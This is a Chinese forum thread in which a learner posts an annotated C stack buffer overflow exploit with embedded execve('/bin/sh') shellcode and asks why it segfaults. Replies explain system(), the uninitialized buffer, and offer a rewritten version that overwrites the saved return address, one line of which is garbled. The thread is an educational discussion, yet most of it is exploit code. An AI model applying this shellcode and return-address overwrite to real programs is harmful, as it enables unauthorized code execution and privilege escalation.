读书人

求解释缓冲区溢出破绽利用相当初级

发布时间: 2012-10-11 10:16:10 作者: rapoo

求解释,缓冲区溢出漏洞利用,相当初级
详细下面的代码大家都很熟悉了,看起来稍长,但是仔细一看很简单的。
我把我理解的已经都注释上了,其中有几句不明白的呀,希望大家帮忙解释一下这几句


C/C++ code
#include <stdlib.h>#define buffer_size 0#define offset_size 512//定义SHELLCODE char sc[]=     "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"     "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"     "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";//获取ESP地址 unsigned long find_start(void){    __asm__("movl %esp,%eax");}int main(int argc,char *argv[]){   char *buff,*ptr; //定义两个char指针    long *addr_ptr,addr;  //定义两个long指针    int offset=offset_size,bsize=buffer_size;  //定义两个整形变量 值为0,512    int i;//定义整形变量    if(argc>1)bsize=atoi(argv[1]);//获取程序参数 赋值给变量 bsize   if(argc>2)offset=atoi(argv[2]);//获取程序参数 赋值给变量 offset      addr=find_start()-offset;//获取esp地址并可以减去一定的偏移(向高地址)    printf("Attempting address:0x%x\n",addr);//输出得到的地址    ptr=buff;//让ptr指针指向buff指针指向的地址    addr_ptr=(long *)ptr;//不明白 让addr_ptr指向ptr所指位置?也指向buff?    for(i=0;i<bsize;i+=4)      *(addr_ptr++)=addr; //不明白 循环填充栈,从*buff所指位置,值为猜测的shellcode地址?导致溢出一直要覆盖到ret 使ret等于shellcode地址    ptr+=4;//此时ptr指向*buff的第5个字符处    for(i=0;i<strlen(sc);i++)          *(ptr++)=sc[i];//不明白 关键来了,作者说他在RED hat9上运行无问题,但是我在ubuntu上运行报错说段错误,按我的理解这地方也就是覆盖buff从第五个字符串开始40个字节为shellcode 为什么错误为什么??   buff[bsize-1]='\0';//为buff做个结束    memcpy(buff,"BUF=",4);//buff前4个字符赋值    putenv(buff);//放入环境变量    system("/bin/bash");//不明白这是干嘛,这个程序不就是为了得到$BUF环境变量吗,要这句是为什么? }


求解释其中写着不明白的地方,或者是我理解错的地方,辛苦了

[解决办法]
都嵌入汇编代码了还初级。。。
[解决办法]
lz还是学点正经的东西吧,别走火入魔
[解决办法]
system("/bin/bash");//不明白这是干嘛,这个程序不就是为了得到$BUF环境变量吗,要这句是为什么?
system函数表示执行一个系统命令
[解决办法]
C/C++ code
#include <stdlib.h>#include <string.h>#include <stdio.h>#define buffer_size 0#define offset_size 512//定义SHELLCODE char sc[]=     "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"     "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"     "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";//获取ESP地址 unsigned long find_start(void){    __asm__("movl %esp,%eax");}int main(int argc,char *argv[]){   char *buff,*ptr; //定义两个char指针    long *addr_ptr,addr;  //定义两个long指针    int offset=offset_size,bsize=buffer_size;  //定义两个整形变量 值为0,512    int i;//定义整形变量    if(argc>1)bsize=atoi(argv[1]);//获取程序参数 赋值给变量 bsize   if(argc>2)offset=atoi(argv[2]);//获取程序参数 赋值给变量 offset      addr=find_start()-offset;//获取esp地址并可以减去一定的偏移(向高地址)    printf("Attempting address:0x%lx\n",addr);//输出得到的地址    ptr=buff;//注意buff从未被初始化   addr_ptr=(long *)ptr;//相当于指针类型转换,同一个地址,ptr是按照char去寻址,而addr_ptr是按照long去寻址的    for(i=0;i<bsize;i+=4)      *(addr_ptr++)=addr; //导致溢出时使ret等于sc的地址    ptr+=4;//此时ptr指向*buff的第5个字符处    for(i=0;i<strlen(sc);i++)          *(ptr++)=sc[i];//buff没有初始化,所以相应的对ptr的操作极有可能段错误   buff[bsize-1]='\0';//为buff做个结束    memcpy(buff,"BUF=",4);//buff前4个字符赋值    putenv(buff);//放入环境变量    system("/bin/bash");//调出bash shell,准备执行sc}
[解决办法]
这段程序根本不能溢出啊,我给该了一下,不过也发现这个shellcode是干嘛的
C/C++ code
#include <stdio.h>#include <stdlib.h>#include <string.h>#define BUFF_SIZE 64char sc[]=     "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"     "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"     "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";int main(int argc,char *argv[]){   long buff[BUFF_SIZE];   int i;   unsigned long ebp;   unsigned long offset;   long *buff_ptr = (long *)buff;   __asm__("mov %%rbp,%0":"=m"(ebp):); //取ebp   offset = (ebp - (unsigned long)buff_ptr) / sizeof(long); //算出ebp到buff的offset   buff[offset + 1 ]= (long)≻ // old_eip = ebp + 1   memcpy(buff, "BUF=", 4);   strncpy(((char*)buff) + 4, sc, BUFF_SIZE - 5);   putenv((char*)buff);   system("/bin/bash");} 


[解决办法]
long *addr_ptr,addr; //定义两个long指针

这里貌似定义了一个long指针,一个long变量吧~

读书人网 >C语言

热点推荐